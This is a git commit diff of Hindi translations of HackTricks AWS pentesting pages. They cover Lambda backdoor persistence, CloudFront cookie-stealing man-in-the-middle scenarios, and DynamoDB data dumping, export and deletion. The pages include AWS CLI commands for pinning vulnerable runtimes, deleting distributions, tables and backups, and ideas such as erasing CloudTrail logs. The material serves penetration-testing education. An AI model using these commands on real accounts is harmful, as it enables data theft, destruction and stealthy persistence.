mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-07 13:20:48 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
Translator
@@ -1,4 +1,4 @@
|
||||
# AWS - Lambda स्थायी पहुँच
|
||||
# AWS - Lambda Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,9 +10,9 @@
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Lambda Layer परसिस्टेंस
|
||||
### Lambda Layer Persistence
|
||||
|
||||
यह संभव है कि आप किसी layer को **introduce/backdoor करके arbitrary code execute करने** के लिए सेट कर सकें जब Lambda stealthy तरीके से executed हो:
|
||||
यह संभव है कि एक layer में introduce/backdoor करके arbitrary code चलाया जा सके जब Lambda stealthy तरीके से execute हो:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
@@ -20,50 +20,50 @@ aws-lambda-layers-persistence.md
|
||||
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Lambda Layers का दुरुपयोग करके extensions का भी दुरुपयोग कर के lambda में persist करना संभव है और साथ ही requests को steal और modify भी किया जा सकता है।
|
||||
Lambda Layers का दुरुपयोग करके extensions का भी दुरुपयोग कर lambda में persist करना संभव है, साथ ही requests को steal और modify भी किया जा सकता है।
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource policies के माध्यम से
|
||||
### Via resource policies
|
||||
|
||||
यह संभव है कि आप अलग-अलग lambda actions (जैसे invoke या update code) के लिए एक्सेस बाहरी खातों को दे सकें:
|
||||
यह संभव है कि external accounts को विभिन्न lambda actions (जैसे invoke या update code) का access दिया जा सके:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
एक Lambda के पास **different versions** हो सकते हैं (हर version में अलग code हो सकता है).\
|
||||
फिर, आप Lambda के अलग-अलग versions के लिए **different aliases** बना सकते हैं और हर alias को अलग weight दे सकते हैं.\
|
||||
इस तरह attacker एक **backdoored version 1** बना सकता है और **version 2 जिसमें सिर्फ legit code हो**, और केवल अनुरोधों के 1% में ही **version 1 को execute** करके stealth बनाए रख सकता है.
|
||||
एक Lambda के पास **different versions** हो सकते हैं (प्रत्येक version में अलग code)।\
|
||||
फिर आप Lambda के लिए **different aliases with different versions** बना सकते हैं और प्रत्येक को अलग weights दे सकते हैं।\
|
||||
इस तरह एक attacker एक **backdoored version 1** और एक **version 2 with only the legit code** बना सकता है और stealth बनाए रखने के लिए केवल 1% requests में **version 1** को execute कर सकता है।
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Lambda का original code copy करें
|
||||
2. **original code में नई version backdooring बनाएँ** (या सिर्फ malicious code के साथ). Publish करें और उस version को $LATEST पर **deploy** करें
|
||||
1. Lambda से जुड़े API gateway को कॉल करके code execute करें
|
||||
3. **original code के साथ एक नई version बनाएं**, Publish करें और उस **version** को $LATEST पर deploy करें.
|
||||
1. यह backdoored code को previous version में छिपा देगा
|
||||
4. API Gateway पर जाएँ और **create a new POST method** (या कोई और method चुनें) जो lambda के backdoored version को execute करेगा: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. ARN के अंत में मौजूद :1 पर ध्यान दें जो **function का version दर्शाता है** (इस scenario में version 1 backdoored होगा).
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish और उस version को $LATEST पर **deploy** करें
|
||||
1. कोड execute करने के लिए उस Lambda से संबंधित API Gateway को कॉल करें
|
||||
3. **Create a new version with the original code**, Publish और उस **version** को $LATEST पर deploy करें।
|
||||
1. यह backdoored code को एक previous version में छिपा देगा
|
||||
4. API Gateway पर जाएँ और **create a new POST method** (or choose any other method) जो Lambda के backdoored version को execute करेगा: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. arn के अंतिम :1 को नोट करें जो **function के version** को indicate करता है (इस scenario में version 1 backdoored होगा)।
|
||||
5. बने हुए POST method को select करें और Actions में **`Deploy API`** चुनें
|
||||
6. अब, जब आप POST के माध्यम से function को कॉल करेंगे तो आपका Backdoor invoke होगा
|
||||
6. अब, जब आप POST के माध्यम से function को call करेंगे तो आपका Backdoor invoke हो जाएगा
|
||||
|
||||
### Cron/Event actuator
|
||||
|
||||
यह कि आप **lambda functions को किसी घटना होने पर या समय के आधार पर चलवा सकते हैं** Lambda को persistence प्राप्त करने और detection से बचने का एक आसान और आम तरीका बनाता है.\
|
||||
यहाँ कुछ विचार दिए गए हैं ताकि आप AWS में अपनी **presence को अधिक stealthy बनाने के लिए lambdas** बना सकें.
|
||||
यह तथ्य कि आप **lambda functions को किसी घटना होने पर या समय बीतने पर चला सकते हैं**, lambda को persistence प्राप्त करने और detection से बचने का एक सामान्य तरीका बनाता है।\
|
||||
यहाँ कुछ ideas हैं ताकि आप अपनी **presence in AWS को अधिक stealth बनाएँ lambdas बनाकर**।
|
||||
|
||||
- हर बार जब नया user बनाया जाता है, lambda एक नया user key generate करता है और attacker को भेज देता है.
|
||||
- हर बार जब नया role बनाया जाता है, lambda compromised users को assume role permissions दे देता है.
|
||||
- हर बार जब नए cloudtrail logs उत्पन्न होते हैं, उन्हें delete/alter कर दें
|
||||
- नए user के बनने पर lambda एक नया user key generate करता है और उसे attacker को भेज देता है।
|
||||
- नया role बनते ही lambda compromised users को assume role permissions दे देता है।
|
||||
- नए cloudtrail logs बनते ही उन्हें delete/alter कर दें
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
Environment variable `AWS_LAMBDA_EXEC_WRAPPER` का दुरुपयोग करके runtime/handler शुरू होने से पहले attacker-controlled wrapper script चलाया जा सकता है. Wrapper को एक Lambda Layer के माध्यम से `/opt/bin/htwrap` पर deliver करें, `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` सेट करें, और फिर function invoke करें. Wrapper function runtime process के अंदर चलता है, function execution role को inherit करता है, और अंत में `exec`s असली runtime को ताकि original handler सामान्य रूप से execute हो सके।
|
||||
रनटाइम/handler शुरू होने से पहले attacker-controlled wrapper script को execute करने के लिए environment variable `AWS_LAMBDA_EXEC_WRAPPER` का दुरुपयोग करें। wrapper को Lambda Layer के माध्यम से `/opt/bin/htwrap` पर deliver करें, सेट करें `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, और फिर function को invoke करें। wrapper function runtime process के अंदर चलता है, function execution role inherit करता है, और अंत में वास्तविक runtime को `exec` करता है ताकि original handler सामान्य तौर पर execute होता रहे।
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
@@ -71,7 +71,7 @@ aws-lambda-exec-wrapper-persistence.md
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Lambda asynchronous destinations और Recursion configuration का दुरुपयोग करके आप एक function को बिना किसी external scheduler (जैसे EventBridge, cron, आदि) के लगातार खुद को re-invoke करवा सकते हैं. डिफ़ॉल्ट रूप से, Lambda recursive loops को terminate कर देता है, लेकिन recursion config को Allow पर सेट करने से वे पुनः सक्षम हो जाते हैं. Destinations async invokes के लिए सर्विस-साइड पर delivery करते हैं, इसलिए एक single seed invoke एक stealthy, code-free heartbeat/backdoor चैनल बना देता है. शोर कम रखने के लिए reserved concurrency से optional throttle कर सकते हैं.
|
||||
Lambda asynchronous destinations और Recursion configuration का दुरुपयोग करके बिना किसी external scheduler (जैसे EventBridge, cron, आदि) के function को लगातार खुद को re-invoke करवाया जा सकता है। डिफ़ॉल्ट रूप से, Lambda recursive loops को terminate कर देता है, लेकिन recursion config को Allow पर सेट करने से वे फिर से सक्षम हो जाते हैं। Destinations async invokes के लिए service side पर deliver करते हैं, इसलिए एक single seed invoke stealthy, code-free heartbeat/backdoor चैनल बना देता है। शोर कम रखने के लिए विकल्प के तौर पर reserved concurrency के साथ throttle करें।
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
@@ -79,13 +79,55 @@ aws-lambda-async-self-loop-persistence.md
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
एक hidden Lambda version बनाएं जिसमें attacker logic हो और `lambda add-permission` में `--qualifier` parameter का उपयोग करके resource-based policy को उस specific version (या alias) तक scope करें. Attacker principal को केवल `lambda:InvokeFunction` पर `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` की अनुमति दें. Function name या primary alias के माध्यम से सामान्य invocations अप्रभावित रहते हैं, जबकि attacker सीधे backdoored version का ARN invoke कर सकता है.
|
||||
attacker logic वाला एक hidden Lambda version बनाएं और उस specific version (या alias) पर resource-based policy scope करें `--qualifier` parameter का उपयोग करके `lambda add-permission` में। attacker principal को केवल `lambda:InvokeFunction` पर `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` का access दें। function name या primary alias के माध्यम से normal invocations अप्रभावित रहते हैं, जबकि attacker सीधे backdoored version ARN को invoke कर सकता है।
|
||||
|
||||
यह Function URL को expose करने की तुलना में अधिक stealthy है और primary traffic alias को बदलता नहीं है.
|
||||
यह Function URL को expose करने की तुलना में अधिक stealthy है और primary traffic alias को नहीं बदलता।
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### Freezing AWS Lambda Runtimes
|
||||
|
||||
यदि किसी attacker के पास lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, और lambda:GetRuntimeManagementConfig permissions हैं, तो वह किसी function की runtime management configuration को बदल सकता है। यह attack विशेष रूप से तब प्रभावी होता है जब लक्ष्य किसी Lambda function को एक vulnerable runtime version पर बनाए रखना हो या malicious layers के साथ compatibility बनाए रखना हो जो नए runtimes के साथ incompatible हो सकते हैं।
|
||||
|
||||
The attacker modifies the runtime management configuration to pin the runtime version:
|
||||
```bash
|
||||
# Invoke the function to generate runtime logs
|
||||
aws lambda invoke \
|
||||
--function-name $TARGET_FN \
|
||||
--payload '{}' \
|
||||
--region us-east-1 /tmp/ping.json
|
||||
|
||||
sleep 5
|
||||
|
||||
# Freeze automatic runtime updates on function update
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on FunctionUpdate \
|
||||
--region us-east-1
|
||||
```
|
||||
लागू की गई कॉन्फ़िगरेशन की पुष्टि करें:
|
||||
```bash
|
||||
aws lambda get-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--region us-east-1
|
||||
```
|
||||
वैकल्पिक: किसी विशिष्ट runtime संस्करण पर पिन करें
|
||||
```bash
|
||||
# Extract Runtime Version ARN from INIT_START logs
|
||||
RUNTIME_ARN=$(aws logs filter-log-events \
|
||||
--log-group-name /aws/lambda/$TARGET_FN \
|
||||
--filter-pattern "INIT_START" \
|
||||
--query 'events[0].message' \
|
||||
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
|
||||
```
|
||||
किसी विशिष्ट runtime संस्करण पर पिन करें:
|
||||
```bash
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on Manual \
|
||||
--runtime-version-arn $RUNTIME_ARN \
|
||||
--region us-east-1
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,22 +10,31 @@
|
||||
../../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `cloudfront:Delete*`
|
||||
यदि किसी attacker को cloudfront:Delete* अनुमतियाँ दी जाती हैं, तो वह distributions, policies और अन्य महत्वपूर्ण CDN configuration objects को हटा सकता है — उदाहरण के लिए distributions, cache/origin policies, key groups, origin access identities, functions/configs और संबंधित संसाधन। इससे सेवा में बाधा, कंटेंट का नुकसान, और configuration या forensic artifacts के हटाए जाने का खतरा उत्पन्न हो सकता है।
|
||||
|
||||
किसी distribution को हटाने के लिए attacker निम्न का उपयोग कर सकता है:
|
||||
```bash
|
||||
aws cloudfront delete-distribution \
|
||||
--id <DISTRIBUTION_ID> \
|
||||
--if-match <ETAG>
|
||||
```
|
||||
### Man-in-the-Middle
|
||||
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) कुछ अलग परिदृश्यों का प्रस्ताव करती है जहाँ एक **Lambda** को **communication through CloudFront** में जोड़ा जा सकता है (या यदि पहले से उपयोग हो रहा है तो मॉडिफाई किया जा सकता है) ताकि उपयोगकर्ता की जानकारी (जैसे session **cookie**) **चुराई** जा सके और **response** को **modify** करके एक malicious **JS** स्क्रिप्ट inject की जा सके।
|
||||
यह [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) कुछ अलग परिदृश्यों का प्रस्ताव करता है जहाँ एक **Lambda** को **CloudFront के माध्यम से संचार** में जोड़ा जा सकता है (या यदि यह पहले से उपयोग में है तो संशोधित किया जा सकता है) ताकि उपयोगकर्ता जानकारी **चोरी** की जा सके (जैसे session **cookie**) और **response** को बदला जा सके (एक malicious JS script inject करना)।
|
||||
|
||||
#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
|
||||
#### परिदृश्य 1: MitM जहाँ CloudFront को किसी बकेट के कुछ HTML तक पहुँचने के लिए कॉन्फ़िगर किया गया है
|
||||
|
||||
- **Create** the malicious **function**.
|
||||
- **Associate** it with the CloudFront distribution.
|
||||
- Set the **event type to "Viewer Response"**.
|
||||
- **बनाएँ** दुष्ट **function**।
|
||||
- इसे CloudFront distribution के साथ जोड़ें।
|
||||
- **event type** को "Viewer Response" पर सेट करें।
|
||||
|
||||
Response तक पहुँचकर आप उपयोगकर्ता का cookie चुरा सकते हैं और एक malicious JS inject कर सकते हैं।
|
||||
Response तक पहुँच कर आप उपयोगकर्ताओं का **cookie** चुरा सकते हैं और एक malicious JS इनजेक्ट कर सकते हैं।
|
||||
|
||||
#### scenario 2: MitM where CloudFront is already using a lambda function
|
||||
#### परिदृश्य 2: MitM जहाँ CloudFront पहले से ही एक lambda function का उपयोग कर रहा है
|
||||
|
||||
- **Modify the code** of the lambda function to steal sensitive information
|
||||
- lambda function के कोड को संशोधित करें ताकि संवेदनशील जानकारी चुराई जा सके
|
||||
|
||||
You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
आप यह [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main) देख सकते हैं।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
इन अनुमतियों वाले हमलावर को **तालिकाओं से प्राथमिक कुंजी के माध्यम से आइटम प्राप्त करने** में सक्षम होगा (आप सीधे तालिका का पूरा डेटा नहीं मांग सकते)। इसका मतलब है कि आपको प्राथमिक कुंजियाँ पता होनी चाहिए (आप यह तालिका के metadata (`describe-table`) से प्राप्त कर सकते हैं)।
|
||||
इस अनुमति के साथ attacker टेबलों से प्राथमिक कुंजी द्वारा **आइटम प्राप्त कर सकेगा** (आप सिर्फ तालिका के सभी डेटा की माँग नहीं कर सकते)। इसका मतलब है कि आपको प्राथमिक कुंजियाँ पता होनी चाहिए (आप यह तालिका के मेटाडाटा प्राप्त करके पा सकते हैं (`describe-table`)).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**संभावित प्रभाव:** टेबल में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष privesc
|
||||
**संभावित प्रभाव:** टेबल में संवेदनशील जानकारी का पता लगाकर Indirect privesc
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**पिछली अनुमतियों के समान** यह अनुमति एक संभावित attacker को केवल 1 टेबल से उस एंट्री की प्राथमिक कुंजी दिए जाने पर मान पढ़ने की अनुमति देती है:
|
||||
**पिछली अनुमतियों के समान** यह अनुमति एक संभावित attacker को केवल 1 टेबल से एंट्री की प्राथमिक कुंजी देकर मान पढ़ने की अनुमति देती है:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
इस अनुमति के साथ **`transact-get-items`** method का उपयोग भी इस तरह किया जा सकता है:
|
||||
इस अनुमति के साथ यह भी संभव है कि आप **`transact-get-items`** मेथड का उपयोग इस तरह कर सकते हैं:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी का पता लगाकर Indirect privesc
|
||||
**संभावित प्रभाव:** टेबल में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष privesc
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Similar to the previous permissions** यह अनुमति देता है कि एक संभावित attacker केवल 1 table से मान पढ़ सके जब entry की primary key दी गई हो जिसे retrieve करना हो। यह [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) का उपयोग करने की अनुमति देता है, लेकिन primary key (जो मौजूद होना आवश्यक है) के साथ केवल comparison "EQ" की अनुमति है, इसलिए आप किसी request में पूरा DB प्राप्त करने के लिए comparison का उपयोग नहीं कर सकते।
|
||||
**पिछली permissions के समान** यह एक संभावित attacker को केवल 1 तालिका से उस एंट्री की प्राथमिक कुंजी दिए जाने पर मान पढ़ने की अनुमति देता है। यह [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) का उपयोग करने की अनुमति देता है, लेकिन प्राथमिक कुंजी (जो मौजूद होना चाहिए) के साथ केवल "EQ" तुलना की अनुमति है, इसलिए आप किसी request में पूरे DB को प्राप्त करने के लिए तुलना का उपयोग नहीं कर सकते।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,35 +107,35 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष privesc
|
||||
**Potential Impact:** Indirect privesc द्वारा टेबल में संवेदनशील जानकारी का पता लगाना
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
आप इस अनुमति का उपयोग करके **पूरी table को आसानीसे dump कर सकते हैं।**
|
||||
आप इस अनुमति का उपयोग करके **पूरी टेबल को आसानी से dump कर सकते हैं**।
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**Potential Impact:** टेबल में संवेदनशील जानकारी का पता लगाकर परोक्ष privesc
|
||||
**संभावित प्रभाव:** Indirect privesc द्वारा तालिका में संवेदनशील जानकारी का पता लगाकर
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
आप इस अनुमति का उपयोग करके **पूरी टेबल को आसानी से dump** कर सकते हैं।
|
||||
आप इस अनुमति का उपयोग **पूरी तालिका को आसानी से dump करने** के लिए कर सकते हैं।
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
यह अनुमति `batch-execute-statement` जैसी कार्रवाइयाँ करने की भी अनुमति देती है:
|
||||
यह अनुमति `batch-execute-statement` जैसे कार्यों को करने की भी अनुमति देती है:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
लेकिन आपको प्राथमिक कुंजी के साथ एक मान निर्दिष्ट करना होगा, इसलिए यह इतना उपयोगी नहीं है।
|
||||
हालाँकि आपको प्राथमिक कुंजी के साथ एक मान निर्दिष्ट करना होगा, इसलिए यह इतना उपयोगी नहीं है।
|
||||
|
||||
**Potential Impact:** अप्रत्यक्ष privesc — टेबल में संवेदनशील जानकारी का पता लगाने से
|
||||
**Potential Impact:** टेबल में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष privesc
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
यह अनुमति एक हमलावर को उसकी चुनी हुई S3 bucket में **पूरी तालिका को निर्यात करने** की अनुमति देगी:
|
||||
यह अनुमति attacker को **पूरे टेबल को अपनी पसंद के S3 bucket में निर्यात** करने की अनुमति देगी:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
ध्यान दें कि यह काम करने के लिए तालिका में point-in-time-recovery सक्षम होना चाहिए, आप यह जांच सकते हैं कि तालिका में यह है या नहीं इसके लिए:
|
||||
ध्यान दें कि इसके काम करने के लिए टेबल में point-in-time-recovery सक्षम होना चाहिए, आप यह जाँच सकते हैं कि टेबल में यह है या नहीं:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
यदि यह सक्षम नहीं है, तो आपको **इसे सक्षम करना होगा** और इसके लिए आपको **`dynamodb:ExportTableToPointInTime`** अनुमति चाहिए:
|
||||
यदि यह सक्षम नहीं है, तो आपको इसे **सक्षम करना** होगा और उसके लिए आपको **`dynamodb:ExportTableToPointInTime`** अनुमति की आवश्यकता होगी:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**Potential Impact:** अप्रत्यक्ष privesc द्वारा टेबल में संवेदनशील जानकारी का पता लगाकर
|
||||
**संभावित प्रभाव:** अप्रत्यक्ष privesc — टेबल में संवेदनशील जानकारी खोजकर
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
इन अनुमतियों के साथ, एक हमलावर **create a new table from a backup** कर सकेगा (या यहाँ तक कि एक बैकअप बना कर उसे किसी अलग टेबल में restore कर सकता है)। फिर, आवश्यक अनुमतियों के साथ, वह बैकअप से **information** जांच सकेगा जो c**ould not be any more in the production** table.
|
||||
इन permissions के साथ, एक attacker सक्षम होगा **बैकअप से एक नया टेबल बनाने में** (या यहाँ तक कि एक बैकअप बनाकर उसे दूसरे टेबल में restore करने के लिए)। फिर, आवश्यक permissions के साथ, वह बैकअप से **जानकारी** देख पाएगा जो c**अब production में मौजूद नहीं होगी** टेबल।
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
**Potential Impact:** टेबल बैकअप में संवेदनशील जानकारी ढूँढकर अप्रत्यक्ष privesc
|
||||
**Potential Impact:** टेबल बैकअप में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष privesc
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
यह अनुमति उपयोगकर्ताओं को तालिका में **नया आइटम जोड़ने या किसी मौजूदा आइटम को नए आइटम से प्रतिस्थापित करने** की अनुमति देती है। यदि समान प्राथमिक कुंजी वाला आइटम पहले से मौजूद है, तो **संपूर्ण आइटम नए आइटम से प्रतिस्थापित कर दिया जाएगा**। यदि प्राथमिक कुंजी मौजूद नहीं है, तो निर्दिष्ट प्राथमिक कुंजी के साथ एक नया आइटम **बनाया जाएगा**।
|
||||
यह अनुमति उपयोगकर्ताओं को टेबल में **नया आइटम जोड़ने या मौजूदा आइटम को नए आइटम से बदलने** की अनुमति देती है। यदि उसी प्राथमिक कुंजी का एक आइटम पहले से मौजूद है, तो **पूरा आइटम नए आइटम से प्रतिस्थापित कर दिया जाएगा**। यदि प्राथमिक कुंजी मौजूद नहीं है, तो निर्दिष्ट प्राथमिक कुंजी के साथ एक नया आइटम **निर्मित किया जाएगा**।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -202,11 +202,11 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**संभावित प्रभाव:** DynamoDB table में डेटा जोड़ने/संशोधित करने में सक्षम होने से vulnerabilities/bypasses का और अधिक शोषण हो सकता है
|
||||
**Potential Impact:** DynamoDB table में डेटा जोड़ने/संशोधित करने में सक्षम होने पर आगे की vulnerabilities/bypasses का exploitation
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
यह permission उपयोगकर्ताओं को **किसी आइटम के मौजूदा गुणों को संशोधित करने या किसी आइटम में नए गुण जोड़ने** की अनुमति देता है। यह पूरे आइटम को **बदलता नहीं है**; यह केवल निर्दिष्ट विशेषताओं को ही अपडेट करता है। यदि तालिका में प्राथमिक कुंजी मौजूद नहीं है, तो यह ऑपरेशन निर्दिष्ट प्राथमिक कुंजी के साथ **एक नया आइटम बनाएगा** और update expression में निर्दिष्ट विशेषताओं को सेट करेगा।
|
||||
यह अनुमति उपयोगकर्ताओं को किसी आइटम के मौजूदा attributes को **संशोधित करने** या आइटम में नए attributes **जोड़ने** की अनुमति देती है। यह पूरे आइटम को **बदलता नहीं है**; यह केवल निर्दिष्ट attributes को ही अपडेट करता है। यदि तालिका में प्राथमिक कुंजी मौजूद नहीं है, तो यह ऑपरेशन निर्दिष्ट primary key के साथ एक **नया आइटम बनाएगा** और update expression में निर्दिष्ट attributes सेट करेगा।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -242,49 +242,49 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** DynamoDB table में डेटा जोड़ने/संशोधित करने में सक्षम होने पर और भी vulnerabilities/bypasses का शोषण संभव है।
|
||||
**संभावित प्रभाव:** DynamoDB table में डेटा जोड़ने/संशोधित करने में सक्षम होने से आगे के vulnerabilities/bypasses का शोषण संभव है।
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
इस अनुमति वाले हमलावर **DynamoDB table को delete कर सकते हैं, जिससे डेटा हानि हो सकती है**।
|
||||
इस permission वाले attacker एक DynamoDB table को **हटा सकते हैं, जिससे डेटा हानि हो सकती है।**
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
**Potential impact**: डेटा हानि और हटाई गई तालिका पर निर्भर सेवाओं में व्यवधान।
|
||||
**संभावित प्रभाव**: डेटा हानि और हटाई गई तालिका पर निर्भर सेवाओं में व्यवधान।
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
इस अनुमति वाले attacker **DynamoDB का बैकअप हटा सकता है, जो आपदा पुनर्प्राप्ति की स्थिति में संभावित रूप से डेटा हानि का कारण बन सकता है**।
|
||||
इस अनुमति वाला हमलावर **DynamoDB बैकअप को हटा सकता है, जो आपदा पुनर्प्राप्ति के परिदृश्य में संभावित रूप से डेटा हानि का कारण बन सकता है**।
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Potential impact**: डेटा हानि और आपदा पुनर्प्राप्ति परिदृश्य के दौरान बैकअप से पुनर्प्राप्त करने में असमर्थता।
|
||||
**संभावित प्रभाव**: डेटा हानि और आपदा पुनर्प्राप्ति स्थिति में बैकअप से पुनर्प्राप्ति में असमर्थता।
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: जाँचें कि यह वास्तव में काम करता है
|
||||
> TODO: परीक्षण करें कि यह वास्तव में काम करता है
|
||||
|
||||
इन अनुमतियों वाले एक हमलावर को **DynamoDB table पर एक stream सक्षम करने, table को अपडेट करके changes को stream करना शुरू करने, और फिर stream तक पहुँचकर table में होने वाले changes को real-time में मॉनिटर करने** की क्षमता मिलती है। यह हमलावर को data changes को मॉनिटर और exfiltrate करने की अनुमति देता है, जो संभावित रूप से data leakage का कारण बन सकता है।
|
||||
इन permissions के साथ एक attacker **किसी DynamoDB table पर stream सक्षम कर सकता है, table को अपडेट करके परिवर्तन स्ट्रीमिंग शुरू कर सकता है, और फिर stream तक पहुंचकर वास्तविक समय में table में होने वाले परिवर्तनों की मॉनिटरिंग कर सकता है**। यह attacker को परिवर्तन मॉनिटर और exfiltrate करने की अनुमति देता है, जो संभावित रूप से data leakage का कारण बन सकता है।
|
||||
|
||||
1. DynamoDB table पर एक stream सक्षम करें:
|
||||
